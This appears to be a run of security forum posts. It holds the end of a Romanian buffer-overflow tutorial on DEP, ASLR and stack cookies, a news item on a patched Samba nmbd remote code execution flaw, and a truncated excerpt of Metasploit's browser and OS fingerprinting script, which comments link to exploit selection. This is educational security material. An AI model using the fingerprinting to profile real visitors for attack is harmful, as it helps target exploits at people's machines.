asteptari prea mari sa descoperiti o astfel de problema in programe importante: Google Chrome, Mozilla, Office Word/Excel, Adobe Reader... Puteti gasi insa probleme mai complicate: Use after free, Type confusion, Heap overflow etc, probleme care sunt insa mult mai dificil de descoperit si de exploatat. Mecanisme de protectie Exsita cateva mecanisme create special pentru a proteja aplicatiile de astfel de probleme. Aceste mecanisme pot fi oferite atat de catre sistemul de operare cat si de catre compilator. DEP - Data Execution Prevention este un mecanism de protectie atat hardware (NX bit) cat si software care NU permite executia de cod din zonele care nu au permisiunile de "execute". O zona/pagina de memorie poate avea permisiuni de "read", "write" si/sau "execute". O zona de date ar avea in mod normal permisiuni de "read" si/sau "write" iar o zona de cod ar avea permisiuni de "read" si "execute". Stiva (read+write) este o zona de memorie de pe care nu ar trebui sa existe posibilitatea de a se executa cod (dar fara DEP exista), iar DEP ofera exact aceasta masura de protectie. Probabil ati inteles mai devreme ca shellcode-ul este pus pe stiva si executat de catre procesor de pe stiva. DEP nu va permite acest lucru. Pentru a activa DEP pe un executabil, din Visual Studio activati optiunea din Configuration > Linker > Advanced > Data Execution Prevention (/NXCOMPAT). ASLR - Address Space Layour Randomization, care a fost introdus in Windows Vista si este motivul pentru care din simplitate am ales sa invatam pe un Windows XP, este o alta metoda de protectie a sistemului de operare impotriva acestor atacuri. Dupa cum ati observat, un proces si DLL-urile folosite de catre acesta sunt incarcate in mod obisnuit la aceeasi adresa de memorie. De aceea exista posibilitatea de a stii cu exactitate la ce adresa de memorie se afla anumite instructiuni (jmp esp de exemplu) pe care le putem folosi in exploatarea unui buffer overflow. ASLR randomizeaza adresele la care sunt incarcate in memorie mai multe elemente cheie ale unui proces: executabilul si DLL-urile, heap-ul si stiva. Astfel este mult mai dificil pentru un atacator sa ghiceasca adresa la care se afla o anumita instructiune pentru a o putea executa. Activarea din Visual Studio se face ca si DEP din Configuration > Linker > Advanced > Randomized Base Address (/DYNAMICBASE). Stack Cookies - Este o alta metoda de protectie oferita de catre compilator care are rolul de a proteja aplicatiile impotriva atacurilor de acest tip prin plasarea pe stiva, la inceputul unei functii, a unei valori aleatoare denumita "stack cookie" (___stack_cookie). Imediat inainte de a pune pe stiva variabilele locale este pusa aceasta valoare aleatoare. Ceea ce intampla de fapt, este faptul ca daca o variabila locala (buffer) este suprascrisa si datele de pe stack sunt suprascrise, atunci va fi suprascrisa si aceasta valoare aleatoare care este verificata imediat inainte de iesirea din functie (inainte de RETN). Daca a fost suprascrisa, executia programului va fi oprita. Este foarte dificil ca un atacator sa ghiceasca exact acea valoare si sa nu o corupa. Atentie! Daca vreti sa faceti teste, dezactivati aceasta optiune din Visual Studio deoarece este activata in mod implicit. Pentru activare sau dezactivare mergeti la Configuration > C/C++ > Code Generation > Buffer Security Check (/GS). Tutorialul se adreseaza incepatorilor, de aceea am ales: - Windows XP pentru ca nu ofera ASLR - Executabilul nu are DEP activat - Executabilul nu are GS (stack cookies) activate Concluzie Desi poate parea foarte usor sa exploatezi o astfel de problema, principala dificultate consta in intelegerea limbajului de asamblare si a anumitor concepte, o exploatare efectiva a unei astfel de probleme este mult mai dificila, tocmai din cauza faptului ca exista mai multe mecanisme de protectie. Exista anumite lucruri care se pot face in anumite cazuri pentru a face "bypass" acestor elemente de protectie, insa dificultatea acestora depaseste scopul acestui material. Sugestia mea pentru voi este sa compilati un astfel de programel, excluzand mecanismele de protectie, si sa incercati sa il exploatati singuri. De asemenea, puteti incerca sa modificati dimensiunea buffer-ului sa vedeti ce se intampla si cel mai important este sa executati pas cu pas fiecare instructiune urmarind stiva pentru a intelege complet aceste notiuni. Lasati acum teoria, puneti mana pe debugger si treceti la treaba! Daca aveti intrebari le astept aici. De asemenea astept pareri legate de acest articol, daca m-am facut inteles, daca e corect tot ce am spus etc. pentru a-l putea perfectiona. Multumesc, Nytro @ Romanian Security Team
-
Samba hit by remote code execution vulnerability Samba got tangoed By Chris Merriman THE SAMBA PROTOCOL has been flagged as having a major vulnerability that could allow intruders to gain superuser permissions on network devices. Samba is an open source implementation of the SMB protocol used by Microsoft Windows machines to enable file sharing and transfer between machines. Implementations of the SAMBA protocol on machines running other operating systems allow seamless transfer to and from these machines too. A fault in the nmbd NetBIOS name service daemon causes memory operations to be mishandled by Samba. This can provide back doors for hackers to exploit the bug as part of wider attacks. An advisory issued this week under the summary title "Samba 4.0.0 to 4.1.10 are affected by a remote code execution attack on unauthenticated nmbd NetBIOS name services" explained, "A malicious browser can send packets that may overwrite the heap of the target nmbd NetBIOS name services daemon. It may be possible to use this to generate a remote code execution vulnerability as the superuser (root)." The problem was discovered and repaired by Volker Lendecke, a Samba Team member working for Sernet in Germany. A patch has been issued to address the problem, along with new Samba versions 4.1.11 and 4.0.21 to correct the problem. The new Samba versions will need to be compiled into new firmware versions for equipment such as NAS drives, and users are advised to avoid any processes involving the NetBIOS nmbd daemon until a fix is put in place. It has been a dark year for software vulnerabilities so far with OpenSSL, Steam, and the perennial favourite Microsoft's Internet Explorer web browser among a string of high profile targets. µ Sursa: Samba hit by remote code execution vulnerability- The Inquirer
-
Bucata din Metasploit: /** * This can reliably detect browser versions for IE and Firefox even in the * presence of a spoofed User-Agent. OS detection is more fragile and * requires truthful navigator.appVersion and navigator.userAgent strings in * order to be accurate for more than just IE on Windows. **/ // Case matters, see lib/msf/core/constants.rb // All of these should match up with constants in ::Msf::HttpClients clients_opera = "Opera"; clients_ie = "MSIE"; clients_ff = "Firefox"; clients_chrome= "Chrome"; clients_safari= "Safari"; // All of these should match up with constants in ::Msf::OperatingSystems oses_linux = "Linux"; oses_windows = "Microsoft Windows"; oses_mac_osx = "Mac OS X"; oses_freebsd = "FreeBSD"; oses_netbsd = "NetBSD"; oses_openbsd = "OpenBSD"; // All of these should match up with the ARCH_* constants arch_armle = "armle"; arch_x86 = "x86"; arch_x86_64 = "x86_64"; arch_ppc = "ppc"; window.os_detect = {}; /** * This can reliably detect browser versions for IE and Firefox even in the * presence of a spoofed User-Agent. OS detection is more fragile and * requires truthful navigator.appVersion and navigator.userAgent strings in * order to be accurate for more than just IE on Windows. **/ window.os_detect.getVersion = function(){ //Default values: var os_name; var os_flavor; var os_sp; var os_lang; var ua_name; var ua_version; var arch = ""; var useragent = navigator.userAgent; // Trust but verify... var ua_is_lying = false; var version = ""; var unknown_fingerprint = null; var css_is_valid = function(prop, propCamelCase, css) { if (!document.createElement) return false; var d = document.createElement('div'); d.setAttribute('style', prop+": "+css+";") return d.style[propCamelCase] === css; } var input_type_is_valid = function(input_type) { if (!document.createElement) return false; var input = document.createElement('input'); input.setAttribute('type', input_type); return input.type == input_type; } //-- // Client //-- if (window.opera) { ua_name = clients_opera; if (!navigator.userAgent.match(/Opera/)) { ua_is_lying = true; } // This seems to be completely accurate, e.g. "9.21" is the return // value of opera.version() when run on Opera 9.21 ua_version = opera.version(); if (!os_name) { // The 'inconspicuous' argument is there to give us a real value on // Opera 6 where, without it, the return value is supposedly // 'Hm, were you only as smart as Bjorn Vermo...' // though I have not verfied this claim. switch (opera.buildNumber('inconspicuous')) { case "344": // opera-9.0-20060616.1-static-qt.i386-en-344 case "1347": // Opera 9.80 / Ubuntu 10.10 (Karmic Koala) case "2091": // opera-9.52-2091.gcc3-shared-qt3.i386.rpm case "2444": // opera-9.60.gcc4-shared-qt3.i386.rpm case "2474": // Opera 9.63 / Debian Testing (Lenny) case "4102": // Opera 10.00 / Ubuntu 8.04 LTS (Hardy Heron) case "6386": // 10.61 os_name = oses_linux; break; case "1074": // Opera 11.50 / Windows XP case "1100": // Opera 11.52 / Windows XP case "3445": // 10.61 case "3516": // Opera 10.63 / Windows XP case "7730": // Opera 8.54 / Windows XP case "8502": // "Opera 9 Eng Setup.exe" case "8679": // "Opera_9.10_Eng_Setup.exe" case "8771": // "Opera_9.20_Eng_Setup.exe" case "8776": // "Opera_9.21_Eng_Setup.exe" case "8801": // "Opera_9.22_Eng_Setup.exe" case "10108": // "Opera_952_10108_en.exe" case "10467": // "Opera_962_en_Setup.exe" case "10476": // Opera 9.63 / Windows XP case "WMD-50433": // Windows Mobile - "Mozilla/5.0 (Windows Mobile; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00" os_name = oses_windows; break; case "2480": // Opera 9.64 / FreeBSD 7.0 os_name = oses_freebsd; break; case "6386": // 10.61 os_name = oses_mac_osx; break; case "1407": // In the case of mini versions, the UA is quite a bit // harder to spoof, so it's correspondingly easier to // trust. Unfortunately, despite being fairly truthful in // what OS it's running on, Opera mini seems to lie like a // rug in regards to the browser version. // // iPhone, iOS 5.0.1 // Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10.10 // Android 2.3.6, opera mini 7.1 // Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10 if (navigator.userAgent.indexOf("Android")) { os_name = oses_linux; os_flavor = "Android"; } else if (navigator.userAgent.indexOf("iPhone")) { os_name = oses_mac_osx; os_flavor = "iPhone"; } break; // A few are ambiguous, record them here case "1250": // Opera 9.80 / Windows XP // Opera 11.61 / Windows XP // Opera 11.61 / Debian 4.0 (Etch) break; default: unknown_fingerprint = opera.buildNumber('inconspicuous'); break; } } } else if (typeof window.onmousewheel != 'undefined' && ! (typeof ScriptEngineMajorVersion == 'function') ) { // IE 10 now has onmousewheel // Then this is webkit, could be Safari or Chrome. // Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 // Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5 // Mozilla/5.0 (Linux; U; Android 2.2; en-au; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 // Mozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148 // Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405 // Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3 // Google Chrome has window.google (older versions), window.chromium (older versions), and window.window.chrome (3+) if (window.chromium || window.google || window.chrome) { ua_name = clients_chrome; search = "Chrome"; } else { ua_name = clients_safari; search = "Version"; } platform = navigator.platform.toLowerCase(); // Just to be a pain, iPod and iPad both leave off "Safari" and // "Version" in the UA, see example above. Grab the webkit version // instead. =/ if (platform.match(/ipod/)) { os_name = oses_mac_osx; os_flavor = "iPod"; arch = arch_armle; search = "AppleWebKit"; } else if (platform.match(/ipad/)) { os_name = oses_mac_osx; os_flavor = "iPad"; arch = arch_armle; search = "AppleWebKit"; } else if (platform.match(/iphone/)) { os_name = oses_mac_osx; os_flavor = "iPhone"; arch = arch_armle; } else if (platform.match(/macintel/)) { os_name = oses_mac_osx; arch = arch_x86; } else if (platform.match(/linux/)) { os_name = oses_linux; if (platform.match(/x86_64/)) { arch = arch_x86_64; } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; if (navigator.userAgent.match(/android/i)) { os_flavor = 'Android'; } } } else if (platform.match(/windows/)) { os_name = oses_windows; } ua_version = this.searchVersion(search, navigator.userAgent); if (!ua_version || 0 == ua_version.length) { ua_is_lying = true; } } else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) { // Use taintEnabled to identify FF since other recent browsers // implement window.getComputedStyle now. For some reason, checking for // taintEnabled seems to cause IE 6 to stop parsing, so make sure this // isn't IE first. // Also check MozBlobBuilder because FF 9.0.1 does not support taintEnabled // Then this is a Gecko derivative, assume Firefox since that's the // only one we have sploits for. We may need to revisit this in the // future. This works for multi/browser/mozilla_compareto against // Firefox and Mozilla, so it's probably good enough for now. ua_name = clients_ff; // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) { ua_version = '28.0'; } else if (css_is_valid('cursor', 'cursor', 'grab')) { ua_version = '27.0'; } else if (css_is_valid('image-orientation', 'imageOrientation', '0deg')) { ua_version = '26.0'; } else if (css_is_valid('background-attachment', 'backgroundAttachment', 'local')) { ua_version = '25.0'; } else if ('DeviceStorage' in window && window.DeviceStorage && 'default' in window.DeviceStorage.prototype) { // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 ua_version = '24.0'; } else if (input_type_is_valid('range')) { ua_version = '23.0'; } else if ('HTMLTimeElement' in window) { ua_version = '22.0'; } else if ('createElement' in document && document.createElement('main') && document.createElement('main').constructor === window['HTMLElement']) { ua_version = '21.0'; } else if ('imul' in Math) { ua_version = '20.0'; } else if (css_is_valid('font-size', 'fontSize', '23vmax')) { ua_version = '19.0'; } else if ('devicePixelRatio' in window) { ua_version = '18.0'; } else if ('createElement' in document && document.createElement('iframe') && 'sandbox' in document.createElement('iframe')) { ua_version = '17.0'; } else if ('mozApps' in navigator && 'install' in navigator.mozApps) { ua_version = '16.0'; } else if ('HTMLSourceElement' in window && HTMLSourceElement.prototype && 'media' in HTMLSourceElement.prototype) { ua_version = '15.0'; } else if ('mozRequestPointerLock' in document.body) { ua_version = '14.0'; } else if ('Map' in window) { ua_version = "13.0"; } else if ('mozConnection' in navigator) { ua_version = "12.0"; } else if ('mozVibrate' in navigator) { ua_version = "11.0"; } else if (css_is_valid('-moz-backface-visibility', 'MozBackfaceVisibility', 'hidden')) { ua_version = "10.0"; } else if ('doNotTrack' in navigator) { ua_version = "9.0"; } else if ('insertAdjacentHTML' in document.body) { ua_version = "8.0"; } else if ('ondeviceorientation' in window && !('createEntityReference' in document)) { ua_version = "7.0"; } else if ('MozBlobBuilder' in window) { ua_version = "6.0"; } else if ('isGenerator' in Function) { ua_version = "5.0"; } else if ('isArray' in Array) { ua_version = "4.0"; } else if (document.readyState) { ua_version = "3.6"; } else if (String.trimRight) { ua_version = "3.5"; } else if (document.getElementsByClassName) { ua_version = "3"; } else if (window.Iterator) { ua_version = "2"; } else if (Array.every) { ua_version = "1.5"; } else { ua_version = "1"; } if (navigator.oscpu != navigator.platform) { ua_is_lying = true; } // oscpu is unaffected by changes in the useragent and has values like: // "Linux i686" // "Windows NT 6.0" // haven't tested on 64-bit Windows version = navigator.oscpu; if (version.match(/i.86/)) { arch = arch_x86; } if (version.match(/x86_64/)) { arch = arch_x86_64; } if (version.match(/Windows/)) { os_name = oses_windows; switch(version) { case "Windows NT 5.0": os_flavor = "2000"; break; case "Windows NT 5.1": os_flavor = "XP"; break; case "Windows NT 5.2": os_flavor = "2003"; break; case "Windows NT 6.0": os_flavor = "Vista"; break; case "Windows NT 6.1": os_flavor = "7"; break; case "Windows NT 6.2": os_flavor = "8"; break; } } if (version.match(/Linux/)) { os_name = oses_linux; } // end navigator.oscpu checks // buildID is unaffected by changes in the useragent and typically has // the compile date which in some cases can be used to map to specific // Version & O/S (including Distro and even Arch). Depending upon the // buildID, sometime navigator.productSub will be needed. // // This technique, and the laboriously compiled associated table, // submitted by Mark Fioravanti. var buildid = navigator.buildID; switch(buildid) { case "2008041514": ua_version = "3.0.0.b5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008041515": ua_version = "3.0.0.b5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "2008052312": ua_version = "3.0.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008052906": ua_version = "3.0.0"; os_name = oses_windows; break; case "2008052909": ua_version = "3.0.0.rc1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008052912": ua_version = "3.0.0"; os_name = oses_linux; break; case "2008060309": ua_version = "3.0.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "2008070205": ua_version = "2.0.0.16"; os_name = oses_windows; break; case "2008070206": ua_version = "3.0.1"; os_name = oses_linux; break; case "2008070208": ua_version = "3.0.1"; os_name = oses_windows; break; case "2008071222": ua_version = "3.0.1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008072820": switch (navigator.productSub) { case "2008072820": ua_version = "3.0.1"; os_name = oses_linux; break; case "2008092313": ua_version = "3.0.2"; os_name = oses_linux; break; } break; case "2008082909": ua_version = "2.0.0.17"; os_name = oses_windows; break; case "2008091618": ua_version = "3.0.2"; os_name = oses_linux; break; case "2008091620": ua_version = "3.0.2"; os_name = oses_windows; break; case "2008092313": ua_version = "3.0.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008092416": ua_version = "3.0.3"; os_name = oses_linux; break; case "2008092417": ua_version = "3.0.3"; os_name = oses_windows; break; case "2008092510": ua_version = "3.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008101315": switch (navigator.productSub) { case "2008101315": ua_version = "3.0.3"; os_name = oses_linux; break; case "2008111318": ua_version = "3.0.4"; os_name = oses_linux; arch = arch_x86; break; } break; case "2008102918": ua_version = "2.0.0.18"; os_name = oses_windows; break; case "2008102920": ua_version = "3.0.4"; break; case "2008112309": ua_version = "3.0.4"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Iceweasel 3.0.4 / Debian Testing (Lenny) case "2008111317": ua_version = "3.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2008111318": ua_version = "3.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "2008120119": ua_version = "2.0.0.19"; os_name = oses_windows; break; case "2008120121": ua_version = "3.0.5"; os_name = oses_linux; break; case "2008120122": ua_version = "3.0.5"; os_name = oses_windows; break; case "2008121623": ua_version = "2.0.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 2.0.0.19 / Ubuntu 8.04 LTS (Hardy Heron) case "2008121709": ua_version = "2.0.0.20"; os_name = oses_windows; break; case "2009011912": ua_version = "3.0.6"; os_name = oses_linux; break; case "2009011913": ua_version = "3.0.6"; os_name = oses_windows; break; case "2009012615": ua_version = "3.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009012616": ua_version = "3.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009021906": ua_version = "3.0.7"; os_name = oses_linux; break; case "2009021910": ua_version = "3.0.7"; os_name = oses_windows; break; case "2009030422": ua_version = "3.0.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009032608": ua_version = "3.0.8"; os_name = oses_linux; break; case "2009032609": ua_version = "3.0.8"; os_name = oses_windows; break; case "2009032711": ua_version = "3.0.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009033100": switch (navigator.productSub) { case "2009033100": ua_version = "3.0.8"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "2009042113": ua_version = "3.0.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; } break; case "2009040820": ua_version = "3.0.9"; os_name = oses_linux; break; case "2009040821": ua_version = "3.0.9"; os_name = oses_windows; break; case "2009042113": ua_version = "3.0.10"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009042114": ua_version = "3.0.10"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "2009042315": ua_version = "3.0.10"; os_name = oses_linux; break; case "2009042316": ua_version = "3.0.10"; os_name = oses_windows; break; case "20090427153806": ua_version = "3.5.0.b4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20090427153807": ua_version = "3.5.0.b4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "2009060214": ua_version = "3.0.11"; os_name = oses_linux; break; case "2009060215": ua_version = "3.0.11"; os_name = oses_windows; break; case "2009060308": switch (navigator.productSub) { case "2009060308": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; } break; case "2009060309": switch (navigator.productSub) { case "2009060309": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; } break; case "2009060310": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "BackTrack"; break; case "2009062005": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "PCLunixOS"; break; case "20090624012136": ua_version = "3.5.0"; os_name = oses_mac_osx; break; case "20090624012820": ua_version = "3.5.0"; os_name = oses_linux; break; case "20090701234143": ua_version = "3.5.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20090702060527": ua_version = "3.5.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "2009070610": ua_version = "3.0.12"; os_name = oses_linux; break; case "2009070611": ua_version = "3.0.12"; os_name = oses_windows; break; case "2009070811": ua_version = "3.0.13"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "20090715083437": ua_version = "3.5.1"; os_name = oses_mac_osx; break; case "20090715083816": ua_version = "3.5.1"; os_name = oses_linux; break; case "20090715094852": ua_version = "3.5.1"; os_name = oses_windows; break; case "2009072202": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Oracle"; break; case "2009072711": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "CentOS"; break; case "20090729211433": ua_version = "3.5.2"; os_name = oses_mac_osx; break; case "20090729211829": ua_version = "3.5.2"; os_name = oses_linux; break; case "20090729225027": ua_version = "3.5.2"; os_name = oses_windows; break; case "2009073021": ua_version = "3.0.13"; os_name = oses_linux; break; case "2009073022": ua_version = "3.0.13"; os_name = oses_windows; break; case "20090824085414": ua_version = "3.5.3"; os_name = oses_mac_osx; break; case "20090824085743": ua_version = "3.5.3"; os_name = oses_linux; break; case "20090824101458": ua_version = "3.5.3"; os_name = oses_windows; break; case "2009082707": ua_version = "3.0.14"; break; case "2009090216": ua_version = "3.0.14"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20090914014745": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; case "20090915065903": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; case "20090915070141": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; case "20091007090112": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 case "20091007095328": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "2009101600": switch (navigator.productSub) { case "2009101600": ua_version = "3.0.15"; break; // Can be either Mac or Linux case "20091016": ua_version = "3.5.4"; os_name = oses_linux; os_flavor = "SUSE"; arch = arch_x86; break; } break; case "2009101601": ua_version = "3.0.15"; os_name = oses_windows; break; case "20091016081620": ua_version = "3.5.4"; os_name = oses_mac_osx; break; case "20091016081727": ua_version = "3.5.4"; os_name = oses_linux; break; case "20091016092926": ua_version = "3.5.4"; os_name = oses_windows; break; case "20091020122601": ua_version = "3.5.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "2009102814": switch (navigator.productSub) { case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "2009121602": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Mint"; break; case "2010021501": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86; break; case "2010021502": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86_64; break; } break; case "2009102815": switch (navigator.productSub) { case "2009102815": ua_version = "3.0.15"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; } break; case "20091029152254": ua_version = "3.6.0.b1"; os_name = oses_linux; break; case "20091029171059": ua_version = "3.6.0.b1"; os_name = oses_windows; break; case "20091102134505": ua_version = "3.5.5"; os_name = oses_mac_osx; break; case "20091102141836": ua_version = "3.5.5"; os_name = oses_linux; break; case "20091102152451": ua_version = "3.5.5"; os_name = oses_windows; break; case "2009110421": ua_version = "3.0.15"; os_name = oses_freebsd; arch = arch_x86; break; case "20091106091959": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break; case "20091106140514": ua_version = "3.5.5"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break; case "20091106145609": ua_version = "3.5.5"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break; case "20091108163911": ua_version = "3.6.0.b2"; os_name = oses_linux; break; case "20091108181924": ua_version = "3.6.0.b2"; os_name = oses_windows; break; case "20091109125225": switch (navigator.productSub) { case "20091109": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; } break; case "20091109134913": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20091115172547": ua_version = "3.6.0.b3"; os_name = oses_linux; break; case "20091115182845": ua_version = "3.6.0.b3"; os_name = oses_windows; break; case "20091124201530": ua_version = "3.6.0.b4"; os_name = oses_mac_osx; break; case "20091124201751": ua_version = "3.6.0.b4"; os_name = oses_linux; break; case "20091124213835": ua_version = "3.6.0.b4"; os_name = oses_windows; break; case "2009120100": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20091201203240": ua_version = "3.5.6"; os_name = oses_mac_osx; break; case "20091201204959": ua_version = "3.5.6"; os_name = oses_linux; break; case "20091201220228": ua_version = "3.5.6"; os_name = oses_windows; break; case "2009120206": ua_version = "3.0.16"; break; // Can be either Mac or Linux case "2009120208": ua_version = "3.0.16"; os_name = oses_windows; break; case "20091204132459": ua_version = "3.6.0.b5"; os_name = oses_linux; break; case "20091204132509": ua_version = "3.6.0.b5"; os_name = oses_mac_osx; break; case "20091204143806": ua_version = "3.6.0.b5"; os_name = oses_windows; break; case "20091215230859": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; case "20091215230946": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20091215231400": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 case "20091215231754": switch (navigator.productSub) { case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100106": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 } break; case "2009121601": switch (navigator.productSub) { case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // Could also be Mint x86-64 } break; case "2009121602": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "20091216104148": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Mandriva"; break; case "20091216132458": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "20091216132537": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20091216142458": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break; case "20091216142519": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break; case "2009121708": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break; case "20091221151141": ua_version = "3.5.7"; os_name = oses_mac_osx; break; case "20091221152502": ua_version = "3.5.7"; os_name = oses_linux; break; case "2009122115": ua_version = "3.0.17"; break; // Can be either Mac or Linux case "20091221164558": ua_version = "3.5.7"; os_name = oses_windows; break; case "2009122116": ua_version = "3.0.17"; os_name = oses_windows; break; case "2009122200": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "SUSE"; break; case "20091223231431": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "PCLunixOS"; arch = arch_x86; break; case "20100105194006": ua_version = "3.6.0.rc1"; os_name = oses_mac_osx; break; case "20100105194116": ua_version = "3.6.0.rc1"; os_name = oses_linux; break; case "20100105212446": ua_version = "3.6.0.rc1"; os_name = oses_windows; break; case "2010010604": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "Ubuntu"; break; case "20100106054534": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 case "20100106054634": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 case "2010010605": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; case "20100106211825": 